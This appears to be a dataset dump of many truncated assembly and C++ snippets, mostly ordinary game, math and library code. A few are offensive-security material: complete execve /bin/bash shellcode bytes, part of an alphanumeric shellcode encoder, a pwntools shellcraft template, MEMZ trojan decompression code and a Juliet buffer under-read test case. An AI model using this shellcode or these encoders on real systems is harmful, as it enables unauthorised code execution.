text
stringlengths
1
1.05M
db DEX_LAPRAS ; pokedex id db 130 ; base hp db 85 ; base attack db 80 ; base defense db 60 ; base speed db 95 ; base special db WATER ; species type 1 db ICE ; species type 2 db 52 ; catch rate, full heal db 219 ; base exp yield INCBIN "pic/ymon/lapras.pic",0,1 ; 77, sprite dimensions dw LaprasPicFront dw LaprasPicBack...
Route8_Object: db $2c ; border block def_warps warp 1, 9, 0, ROUTE_8_GATE warp 1, 10, 1, ROUTE_8_GATE warp 8, 9, 2, ROUTE_8_GATE warp 8, 10, 3, ROUTE_8_GATE warp 13, 3, 0, UNDERGROUND_PATH_ROUTE_8 def_signs sign 17, 3, 10 ; Route8Text10 def_objects object SPRITE_SUPER_NERD, 8, 5, STAY, RIGHT, 1, O...
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2018 The Bitcoin Core developers // Copyright (c) 2021 The Bitcoin3 Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <script/interpreter.h...
;; ;; Copyright (c) 2012-2018, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and...
; A117962: Partial sums of hexagonal numbers with prime indices. ; 6,21,66,157,388,713,1274,1977,3012,4665,6556,9257,12578,16233,20604,26169,33072,40453,49364,59375,69960,82363,96058,111811,130532,150833,171948,194739,218392,243817,275948,310139,347540,386043,430296,475747,524888,577863,633474,693159,757062,822403,8951...
#include <string.h> #ifndef _WIN32 #include <signal.h> #endif #include <event2/event.h> #include <event2/listener.h> #include <iostream> using namespace std; #define SPORT 5002 void client_cb(evutil_socket_t s,short w,void* arg){ cout << "client_cb" << endl; event* ev = (event*)arg; //判断超时 if(w & EV...
Title Chapt 7 (7.8.1) Ex 4: Room Schedule ; Using a room schedule record, query a bit-mapped field ; called roomstatus. Extract the individual subfields ; from roomstatus. ; -------------- Field Format------------------ ; Bit ; Position Usage ; 0-1 Type of room (0,1,2,3) ; 2-7 Number of se...
; A121782: Series expansion for mean-squared radius of gyration of rectangles on square lattice. ; 0,8,66,288,900,2280,4998,9856,17928,30600,49610,77088,115596,168168,238350,330240,448528,598536,786258,1018400,1302420,1646568,2059926,2552448,3135000,3819400,4618458,5546016,6616988,7847400,9254430,10856448,12673056,1472...
; Uncompression code for the extra data of MEMZ/VineMEMZ ; It has been optimized for the larger file sizes of VineMEMZ ; It's not backwards compatible to the old compressor! mov bx, daddr mov es, bx mov ds, bx ; Read from disk mov ax, 0x0216 mov cx, 0x0002 mov dh, 0 mov bx, compressed int 13h xor ax, ax mov bx, ax m...
/* * Sarus * * Copyright (c) 2018-2020, ETH Zurich. All rights reserved. * * Please, refer to the LICENSE file in the root directory. * SPDX-License-Identifier: BSD-3-Clause * */ #include <memory> #include <boost/filesystem.hpp> #include <boost/format.hpp> #include <boost/regex.hpp> #include "common/Logger.hp...
//===----------------------------------------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===---------------------------...
org 100h section .text start: mov dx,msg mov cl,0x09 int 0xE0 xor cx,cx int 0xE0 int 20h section .data ; program data msg db 'Hello' db '$' section .bss ; uninitialized data
main: addi $s0, $zero, 1000 addi $s1, $zero, 0 addi $s2, $zero, 10 addi $t1, $zero, 0 loop: addi $t1, $t1, 1 sw $t1, 0($s0) addi $s0, $s0, 4 addi $s1, $s1, 1 slt $s3, $s1, $s2 bne $s3, $zero, loop addi $s0, $zero, 1000 addi $s1, $zero, 0 addi $s3, $zero, 0 addi $s2, $zero, 9 loop2: lw $t0, 0($s0) a...
; A028250: Sequence arising in multiprocessor page migration. ; Submitted by Jamie Morken(s2.) ; 2,5,7,10,12,15,17,20,23,25,28,30,33,35,38,40,43,46,48,51,53,56,58,61,64,66,69,71,74,76,79,81,84,87,89,92,94,97,99,102,105,107,110,112,115,117,120,122,125,128,130,133,135,138,140,143,146,148,151,153,156,158,161,163 mov $2,$...
VermilionTradeHouse_h: db HOUSE ; tileset db VERMILION_TRADE_HOUSE_HEIGHT, VERMILION_TRADE_HOUSE_WIDTH ; dimensions (y, x) dw VermilionTradeHouse_Blocks ; blocks dw VermilionTradeHouse_TextPointers ; texts dw VermilionTradeHouse_Script ; scripts db 0 ; connections dw VermilionTradeHouse_Object ; objects
; A047915: 3*n^2-2*n+6. ; 6,7,14,27,46,71,102,139,182,231,286,347,414,487,566,651,742,839,942,1051,1166,1287,1414,1547,1686,1831,1982,2139,2302,2471,2646,2827,3014,3207,3406,3611,3822,4039,4262,4491,4726,4967,5214,5467,5726,5991,6262,6539 mov $1,$0 bin $0,2 mul $0,6 add $1,$0 add $1,6
# quick sort # const size_of_array EQU 3000 # fill array with random main: const.i32 0 #i gen_loop: blk.4 fetch.1 1 #i i const.a32 rndState #i i rndState const.i8 6 #i i rndState u32 load #i i [rndState] blk.2 const.a32 random #i i [rndState] rand...
_echo: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 ...
; Copyright (c) 2004, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ...
/* * All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or * its licensors. * * For complete copyright and license terms please see the LICENSE at the root of this * distribution (the "License"). All use of this software is governed by the License, * or, if provided, by the license below or t...
/* -*- Mode: C++; tab-width: 8; c-basic-offset: 2; indent-tabs-mode: nil; -*- */ #include "RecordTask.h" #include <dirent.h> #include <elf.h> #include <limits.h> #include <linux/perf_event.h> #include <sys/prctl.h> #include <sys/syscall.h> #include "AutoRemoteSyscalls.h" #include "PreserveFileMonitor.h" #include "Re...
#ifndef EDYN_SERIALIZATION_SHAPE_PAGED_MESH_SHAPE_S11N_HPP #define EDYN_SERIALIZATION_SHAPE_PAGED_MESH_SHAPE_S11N_HPP #include <cstdint> #include "edyn/shapes/paged_mesh_shape.hpp" namespace edyn { template<typename Archive> void serialize(Archive &archive, paged_mesh_shape &s) { if constexpr(Archive::is_output:...
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. Th...
_mkdir: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 e4 f0 and $0xfffffff0,%esp 6: 83 ec 20 ...
SECTION .text global double_integer double_integer: mov eax,edi cmp eax,0d mov bx,2d jge positive neg eax mul bx neg eax jmp end positive: mul bx end: ret
<% from pwnlib import constants %> <% from pwnlib.util import lists, packing, fiddling %> <% from pwnlib.shellcraft.arm import mov %> <%page args="word"/> <%docstring> Pushes a 32-bit integer onto the stack. Uses R7 as a temporary register. Args: word (int, str): The word to push </%docstring> % if isinstance(word,...
SECTION code_clib PUBLIC clg PUBLIC _clg EXTERN generic_console_cls defc clg = generic_console_cls defc _clg = generic_console_cls
; A122670: If n mod 4 = 2 or n mod 4 = 3 then a(n) = 0 else let m=floor(n/4), then a(n) = (2*m)!/m!. ; 1,1,0,0,2,2,0,0,12,12,0,0,120,120,0,0,1680,1680,0,0,30240,30240,0,0,665280,665280,0,0,17297280,17297280,0,0,518918400,518918400,0,0,17643225600,17643225600,0,0,670442572800,670442572800,0,0,28158588057600,281585880576...
;----------------------------------------------------------------------------------------- ; PREP_PRT - Updates Print_Attr, SCR & ATTR Vars ;----------------------------------------------------------------------------------------- PREP_PRT: LD (PRINT_ATTR),A ; Set Attribute CALL CRtoSCREEN CALL CRtoATTR RET ...
; ; Put character to console ; ; fputc_cons(char c) ; ; ; $Id: fputc_cons.asm,v 1.3 2011/01/22 23:59:00 dom Exp $ ; XLIB fputc_cons .fputc_cons ld hl,2 add hl,sp ld a,(hl) cp 13 jr nz,fputc_cons1 call $B833 ;txtoutput ld a,10 .fputc_cons1 jp $B833 ;txtoutput
COMMENT @===================================================================== Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: Shell -- Init FILE: initManager.asm AUTHOR: Martin Turon, Oct 2, 1992 REVISION HISTORY: Name Date Description ---- ---- ----------- martin...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1e086, %rsi lea addresses_UC_ht+0x16946, %rdi clflush (%rsi) nop nop add $7014, %rbp mov $126, %rcx rep movsb nop nop nop xor $56456, %r9 lea addresses_normal_ht+0x6c6, %r10 ...
// Copyright (c) 2014 The Mrcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "base58.h" #include "hash.h" #include "uint256.h" #include <assert.h> #include <stdint.h> #include <string.h> #include <v...
DATA SEGMENT ANSI DB 1BH,"[256F",1BH,"[0J",1BH,"[3;107mA",1BH,"[30mA",1BH,"[31mA",1BH,"[32mA",1BH,"[33mA",1BH,"[34mA",1BH,"[35mA",1BH,"[36mA",1BH,"[90mA",1BH,"[91mA",1BH,"[92mA",1BH,"[93mA",1BH,"[94mA",1BH,"[95mA",1BH,"[96mA",1BH,"[97mA",1BH,"[0m",0AH,"$" DATA ENDS CODE SEGMENT ASSUME CS:CODE,DS...
@7 D=A @SP A=M M=D @SP M=M+1 @8 D=A @SP A=M M=D @SP M=M+1 @SP M=M-1 A=M D=M @SP M=M-1 A=M D=D+M @SP A=M M=D @SP M=M+1
; A042510: Numerators of continued fraction convergents to sqrt(783). ; Submitted by Christian Krause ; 27,28,1539,1567,86157,87724,4823253,4910977,270016011,274926988,15116073363,15391000351,846230092317,861621092668,47373769096389,48235390189057,2652084839305467,2700320229494524,148469377232009763,151169697461504287,...
; A117973: a(n) = 2^(wt(n)+1), where wt() = A000120(). ; 2,4,4,8,4,8,8,16,4,8,8,16,8,16,16,32,4,8,8,16,8,16,16,32,8,16,16,32,16,32,32,64,4,8,8,16,8,16,16,32,8,16,16,32,16,32,32,64,8,16,16,32,16,32,32,64,16,32,32,64,32,64,64,128,4,8,8,16,8,16,16,32,8,16,16,32,16,32 mov $1,$0 lpb $1 div $0,2 sub $1,$0 lpe mov $0,2 p...
; A040360: Continued fraction for sqrt(380). ; 19,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38,2,38 sub $0,1 mod $0,2 mul $0,12 add $0,2 mul $0,5 pow $0,2 mov $1,$0 sub $1,41 div $1,99...
; Utility open a file using name, default and extension  1994 Tony Tebby ; ; 2018-01-10 1.01 Removed ".sav" extension for QDOS to save some bytes (MK) ; 2019-02-10 1.02 Fixed crash introduced in 1.01 (MK) ; 2020-08-24 1.03 Don't add default directories on names with drives (MK) section utils xdef ut_opdefx ...
TITLE Reset-Disabling program (No_Reset.asm) ; This program disables the usual DOS reset command ; (Ctrl-Alt-Del), by intercepting the INT 9 keyboard ; hardware interrupt. It checks the shift status bits ; in the MS-DOS keyboard flag and changes any Ctrl-Alt-Del ; to Alt-Del. The computer can only b...
; A033815: Number of standard permutations of [ a_1..a_n b_1..b_n ] (b_i is not immediately followed by a_i, for all i). ; Submitted by Jon Maiga ; 1,1,14,426,24024,2170680,287250480,52370755920,12585067447680,3854801333416320,1465957162768492800,677696237345719468800,374281829360322587827200,24338890969723561432481280...
; A211390: The minimum cardinality of an n-qubit unextendible product basis. ; 2,4,4,6,6,8,8,11,10,12,12,16,14,16,16,20,18,20,20,24,22,24,24,28,26,28,28,32,30,32,32,36,34,36,36,40,38,40,40,44,42,44,44,48,46,48,48,52,50,52,52,56,54,56,56,60,58,60,60,64,62,64,64,68,66,68,68 mov $2,$0 mov $3,5 add $3,$0 mov $4,$0 mov $5,...
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x1b008, %rsi lea addresses_UC_ht+0x13bc8, %rdi nop nop nop nop nop inc %rax mov $84, %rcx rep movsb nop nop nop nop nop and %r9, %r9 lea addresses_UC_ht+0x1dbc8, %rdx nop sub $11223, %r1...
// Copyright(c) 2019, NVIDIA CORPORATION. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required b...
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE127_Buffer_Underread__malloc_char_memcpy_84a.cpp Label Definition File: CWE127_Buffer_Underread__malloc.label.xml Template File: sources-sink-84a.tmpl.cpp */ /* * @description * CWE: 127 Buffer Under-read * BadSource: Set data pointer to before the allocated ...
// This file is part of OpenCV project. // It is subject to the license terms in the LICENSE file found in the top-level directory // of this distribution and at http://opencv.org/license.html #ifndef CAP_MFX_WRITER_HPP #define CAP_MFX_WRITER_HPP #include "precomp.hpp" class MFXVideoSession_WRAP; class Plugin; class...
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Zniggy the Znig ; Copyright 2019 anonymous ; 4chan /vr/ board ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ZX Spectrum Memory Map ; 0x0000 - 0x3FFF RESERVED: basic ROM ; 0x4000 - 0x57FF RAM: Screen 256x192 1bpp ; 0x5800 - 0x5AFF RA...
#include "tools.h" #include <iostream> using Eigen::VectorXd; using Eigen::MatrixXd; using std::vector; using std::cout; using std::endl; Tools::Tools() {} Tools::~Tools() {} //// This code is more or less the same as explained on the conferences. //MatrixXd Tools::CalculateJacobian(const VectorXd& x_state) { // M...
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %r15 push %rax push %rcx push %rdi push %rsi lea addresses_A_ht+0x36ac, %rsi lea addresses_normal_ht+0x1e240, %rdi nop nop nop xor %r15, %r15 mov $125, %rcx rep movsw nop nop xor %r15, %r15 lea addresses_D_ht+0x19d40, %rdi nop nop nop sub %...
TITLE NamDebug.asm - Name Table manager debug routines ;**************************************************************************** ;NamDebug.asm - Name Table Manager debug routines ; ; Copyright <C> 1986, Microsoft Corporation ; ;Purpose: ; To provide routines that are useful during the debugging of NamMgr ; or QBI ...
#include <nall/nall.hpp> using namespace nall; #include <hiro/hiro.hpp> using namespace hiro; //if file already exists in the same path as the binary; use it (portable mode) //if not, use default requested path (*nix/user mode) auto locate(string pathname, string filename) -> string { string location{programpath(),...
/** * Copyright (C) 2015 MongoDB Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License, version 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be usef...
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_A_ht+0x14dbd, %r15 nop nop cmp $10071, %r8 movb $0x61, (%r15) nop nop nop add $32183, %r11 lea addresses_normal_ht+0x33dd, %rsi lea addresses_UC_ht+0x186f1, %rdi nop nop nop nop inc %...
;***************************************************************************; ; Digital clock listing, v 1.1 ; ; Author: Oleg Tsaregorodtsev ; ;***************************************************************************; ; MCU Ports connecting: ; ;***************************************...
/* Copyright (c) 2019 Nick S. Bailey <tb303@gmx.com> * THUNDEROX DELAY * * DISTRHO Plugin Framework (DPF) * Copyright (C) 2012-2015 Filipe Coelho <falktx@falktx.com> * * Permission to use, copy, modify, and/or distribute this software for any purpose with * or without fee is hereby granted, provided that the abo...
; calculates factorial of 'input', writes the answer to 'output' ;------------ ; stack segment : STSEG SEGMENT DB 64 DUP (?) STSEG ENDS ;------------ ; data segment : DTSEG SEGMENT ; place program data here input DW 0005H ORG 08H output DW 00H DTSEG ENDS ;------------ ; code segment : CDSEG SEGMENT MAIN PRO...
; A171461: a(n) = 1 + 6*10^n + 100^n. ; 8,161,10601,1006001,100060001,10000600001,1000006000001,100000060000001,10000000600000001,1000000006000000001,100000000060000000001,10000000000600000000001,1000000000006000000000001,100000000000060000000000001,10000000000000600000000000001,1000000000000006000000000000001,10000000...
#include <torch/csrc/jit/passes/onnx/shape_type_inference.h> #include <torch/csrc/jit/jit_log.h> #include <torch/csrc/jit/passes/onnx/helper.h> #include <torch/csrc/jit/serialization/export.h> #include <torch/csrc/jit/serialization/onnx.h> #include <onnx/shape_inference/implementation.h> namespace torch { namespace j...
; A020521: 13th cyclotomic polynomial evaluated at powers of 2. ; 13,8191,22369621,78536544841,300239975158033,1190112520884487201,4797324681010433232961,19495118728903626376364161,79538861190790864407636279553,325153619321163373997995856232961,1330527338889299954891005307651097601 mov $2,2 pow $2,$0 mov $3,1 mov $5,2...
; ExecveBashStack.asm ; by Abatchy ; ; nasm -felf32 ExecveBashStack.asm && ld -o ExecveBashStack ExecveBashStack.o ; Generated shellcode: "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" global _start section .text _start: xor eax, eax ...
// Copyright (c) 2011-2013 The Lioncoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "transactionfilterproxy.h" #include "transactiontablemodel.h" #include "transactionrecord.h" #include <cstdlib> #...
.global s_prepare_buffers s_prepare_buffers: push %r11 push %rbp push %rcx push %rdi push %rsi lea addresses_WT_ht+0xa97, %rsi lea addresses_A_ht+0x109d1, %rdi nop nop and %r11, %r11 mov $22, %rcx rep movsq nop nop nop xor %rbp, %rbp pop %rsi pop %rdi pop %rcx pop %rbp pop %r11 ret .global s_faulty_load s_faulty_l...
; A289296: a(n) = (n - 1)*(2*floor(n/2) + 1). ; -1,0,3,6,15,20,35,42,63,72,99,110,143,156,195,210,255,272,323,342,399,420,483,506,575,600,675,702,783,812,899,930,1023,1056,1155,1190,1295,1332,1443,1482,1599,1640,1763,1806,1935,1980,2115,2162,2303,2352,2499,2550,2703,2756,2915,2970,3135,3192,3363,3422,3599,3660,3843,390...
frame 1, 06 frame 2, 18 endanim
.186 .model small .data .code @empty: mov ax, @data mov ds, ax mov ax, 3 int 10h mov ax, 0b800h mov es, ax cld xor di, di mov cx, 25 @loop1: push cx mov ax, 1f41h mov cx, 40 rep stosw mov ax, 2f42h mov cx, 40 rep stosw pop cx loop @loop1 ;инициализация xor ax, ax int 33h ...
/* * AntiDupl.NET Program (http://ermig1979.github.io/AntiDupl). * * Copyright (c) 2002-2018 Yermalayeu Ihar. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, in...
;=============================================================================== ; Copyright 2015-2019 Intel Corporation ; All Rights Reserved. ; ; If this software was obtained under the Intel Simplified Software License, ; the following terms apply: ; ; The source code, information and material ("Material") co...
; A119996: Numerator of Sum_{k=1..n} 1/(Fibonacci(k)*Fibonacci(k+2)). ; 1,5,14,39,103,272,713,1869,4894,12815,33551,87840,229969,602069,1576238,4126647,10803703,28284464,74049689,193864605,507544126,1328767775,3478759199,9107509824,23843770273,62423800997,163427632718,427859097159,1120149658759,2932589879120,7677619978...
; Ti82 interrupt 'wrapper' - by Henk Poley ;----------------------------------------------------------------------------- ; The z88dk makes extensively use of the shadow registers (EXX and EX AF,AF) ; The Ti82 system interrupt doesn't preserve (any of) these regs and ; could thus crash your program. The workaround is ...
/* Copyright © 2017 Apple Inc. All rights reserved. * * Use of this source code is governed by a BSD-3-clause license that can * be found in the LICENSE.txt file or at https://opensource.org/licenses/BSD-3-Clause */ #include <iostream> #include <string> int main(int argc, char **argv) { std::string s; std::cer...
; A002700: Coefficients of Chebyshev polynomials: n*(2*n+1) * 4^(n-1). ; 3,40,336,2304,14080,79872,430080,2228224,11206656,55050240,265289728,1258291200,5888802816,27246198784,124822487040,566935683072,2555505541120,11441792876544,50921132261376,225399883694080,992858999881728,4354066045992960,19017153114013696,8275364...
.nds .relativeinclude on .erroronwarning on ; This patch fixes issues that could happen in the first room of the castle if the player got one of the bad endings before seeing the cutscene with Hammer in that first room. ; The cutscene with Hammer would play at the same time as the bad ending cutscene, and could allow ...
; A245838: Arithmetic derivative of (3*n + 1), n >= 1, (A016777)'. ; 4,1,7,1,32,1,13,10,32,1,19,1,68,1,25,14,56,16,31,1,192,1,59,1,80,1,43,22,140,20,49,1,140,1,55,1,240,28,61,22,128,1,101,26,212,1,73,34,152,1,113,1,432,1,85,26,176,95,91,1,284,28,143,1,252,1,103,46,432,1,109,38,284,1,115,1,356,52,167,1,248,32,275,34,102...
;***************************************************************************** ;* dct-32.asm: x86_32 transform and zigzag ;***************************************************************************** ;* Copyright (C) 2003-2019 x264 project ;* ;* Authors: Loren Merritt <lorenm@u.washington.edu> ;* Holger Lubit...
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x122f4, %r12 nop nop nop nop dec %r15 and $0xffffffffffffffc0, %r12 vmovaps (%r12), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %rbx nop add %r12, %r12 lea addresse...
//===--- Attr.cpp - Swift Language Attr ASTs ------------------------------===// // // This source file is part of the Swift.org open source project // // Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors // Licensed under Apache License v2.0 with Runtime Library Exception // // See https://swift.org/L...
/* -*- Mode:C++; c-file-style:"gnu"; indent-tabs-mode:nil; -*- */ /* * Copyright (c) 2013-2018 Regents of the University of California. * * This file is part of ndn-cxx library (NDN C++ library with eXperimental eXtensions). * * ndn-cxx library is free software: you can redistribute it and/or modify it under the ...
; A337110: Number of length three 1..n vectors that contain their geometric mean. ; 1,2,3,10,11,12,13,20,33,34,35,42,43,44,45,64,65,78,79,86,87,88,89,96,121,122,135,142,143,144,145,164,165,166,167,198,199,200,201,208,209,210,211,218,231,232,233,252,289,314,315,322,323,336,337,344,345,346 mov $1,$0 seq $1,132189 ; Numb...
[org 0x0100] clearscr: ;saving registers push ax push es push di mov ax, 0xb800 ;loading video base in ax mov es, ax ;pointing es to video base mov di, 0 ;pointing di to the top of the left coloumn of the screen keepclear: mov word [es: di], 0x0720 add di, 2 cmp di, 4000 jne keepclear ...
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r8 push %rcx push %rdi push %rsi lea addresses_UC_ht+0xe652, %rcx and %r8, %r8 movups (%rcx), %xmm2 vpextrq $1, %xmm2, %r14 cmp %rcx, %rcx lea addresses_UC_ht+0x1af24, %rsi lea addresses_WC_ht+0x1c094, %rdi nop nop nop nop add %r14, %r14 mov $125, %rcx rep mo...
#include "config.h" #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #include <libxml/nanohttp.h> #include "tConfiguration.h" #include "tDirectories.h" #include "tResourceManager.h" #include "tString.h" // server determined resource repositor...
BITS 64 ; Some complex math is needed to get static values in certain registers because ; there is no alphanumeric way to do it directly: mult_code equ 0x33333333 ; mult_code ^ mult_dword must be alphanumeric mult_dword equ 0x05050503 ; mult_dword * mult_byte must result in mult_byt...
SECTION .text GLOBAL test test: seto al seto cl seto dl seto bl seto spl seto bpl seto sil seto dil seto r8b seto r9b seto r10b seto r11b seto r12b seto r13b seto r14b seto r15b
; A033117: Base 7 digits are, in order, the first n terms of the periodic sequence with initial period 1,0. ; 1,7,50,350,2451,17157,120100,840700,5884901,41194307,288360150,2018521050,14129647351,98907531457,692352720200,4846469041400,33925283289801,237476983028607,1662338881200250,11636372168401750,81454605178812251 ...
; A199678: 10*9^n+1. ; 11,91,811,7291,65611,590491,5314411,47829691,430467211,3874204891,34867844011,313810596091,2824295364811,25418658283291,228767924549611,2058911320946491,18530201888518411,166771816996665691,1500946352969991211,13508517176729920891,121576654590569288011,1094189891315123592091,984770902183611232881...
; A278403: a(n) = Sum_{d|n} d^2 * (d+1)/2. ; Submitted by Jon Maiga ; 1,7,19,47,76,151,197,335,424,632,727,1127,1184,1673,1894,2511,2602,3634,3611,4872,5066,6299,6349,8615,8201,10316,10630,13081,12616,16526,15377,19407,19258,22838,22322,28586,26012,31775,31622,37960,35302,44594,40679,49899,48874,56081,53017,67239,60222...
#include "json.hpp" bool JSON::load(std::string filePath, json* jsonObject) { if (!jsonObject) { return false; } std::fstream file(filePath); if (!file.is_open()) { return false; } file >> *jsonObject; file.close(); return true; }
; Draw 3d border V1.03 2002 Marcel Kilgus ; ; 2003-05-02 1.01 Implemented the err.orng error handling I forgot (MK) ; 2003-11-12 1.02 Fixed top and bottom line borders (MK) ; 2005-04-07 1.03 Double border type fixed section wman xdef wm_3db xdef wm_rmbrdr xdef wm_bordersize xref wmc_trap3 xref wmc_co...
// // Generated by Microsoft (R) HLSL Shader Compiler 9.30.9200.16384 // // /// // Buffer Definitions: // // cbuffer cbCS // { // // uint4 g_param; // Offset: 0 Size: 16 // // } // // Resource bind info for InputTriIDIndexID // { // // uint2 $Element; // Offset: 0 Si...
; A315522: Coordination sequence Gal.6.621.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,6,11,17,22,28,33,38,44,49,55,60,66,72,77,83,88,94,99,104,110,115,121,126,132,138,143,149,154,160,165,170,176,181,187,192,198,204,209,215,2...
; A080277: Partial sums of A038712. ; 1,4,5,12,13,16,17,32,33,36,37,44,45,48,49,80,81,84,85,92,93,96,97,112,113,116,117,124,125,128,129,192,193,196,197,204,205,208,209,224,225,228,229,236,237,240,241,272,273,276,277,284,285,288,289,304,305,308 mov $3,$0 mov $4,$0 add $4,1 lpb $4,1 mov $0,$3 sub $4,1 sub $0,$4 ...
_zombie: 文件格式 elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(void) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %eb...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_WC_ht+0x66ab, %rbp nop nop nop nop nop and $25795, %r10 mov $0x6162636465666768, %r14 movq %r14, %xmm0 and $0xffffffffffffffc0, %rbp vmovaps %ymm0, (%rbp) nop nop nop nop sub %rsi, ...
/*************************************************************************** * Copyright 1998-2018 by authors (see AUTHORS.txt) * * * * This file is part of LuxCoreRender. * * ...
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r14 push %r15 push %rax push %rcx push %rdi push %rsi lea addresses_WT_ht+0x7882, %rcx nop nop nop sub $34505, %r15 movb (%rcx), %r14b nop nop nop nop and %r11, %r11 lea addresses_WT_ht+0x1c082, %r12 nop nop nop nop dec %rax mov $0x6162636465666768,...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0xfae2, %rdi nop and $64496, %rax vmovups (%rdi), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %r13 nop nop nop nop xor %r9, %r9 lea addresses_WC_ht+0xa2e0, %rbx nop ...
; A026806: a(n) = number of numbers k such that only one partition of n has least part k. ; 1,2,1,2,2,2,2,3,2,3,3,3,3,4,3,4,4,4,4,5,4,5,5,5,5,6,5,6,6,6,6,7,6,7,7,7,7,8,7,8,8,8,8,9,8,9,9,9,9,10,9,10,10,10,10,11,10,11,11,11,11,12,11,12,12,12,12,13,12,13,13,13,13,14,13,14,14,14,14,15,14,15,15,15,15 add $0,7 mov $1,$0 div...
/* * Copyright (C) 2015, Simon Fuhrmann * TU Darmstadt - Graphics, Capture and Massively Parallel Computing * All rights reserved. * * This software may be modified and distributed under the terms * of the BSD 3-Clause license. See the LICENSE.txt file for details. */ #include <iostream> #include <fstream> #inc...
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/service/cloud_print/cloud_print_connector.h" #include <stddef.h> #include <algorithm> #include <limits> #include <vector> #include...
// Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. #include <iostream> #include <vespa/searchlib/attribute/attribute.h> #include <vespa/searchlib/attribute/attributeguard.h> #include <vespa/searchlib/attribute/attributefactory.h> #include <vespa/vespalib/data/fileh...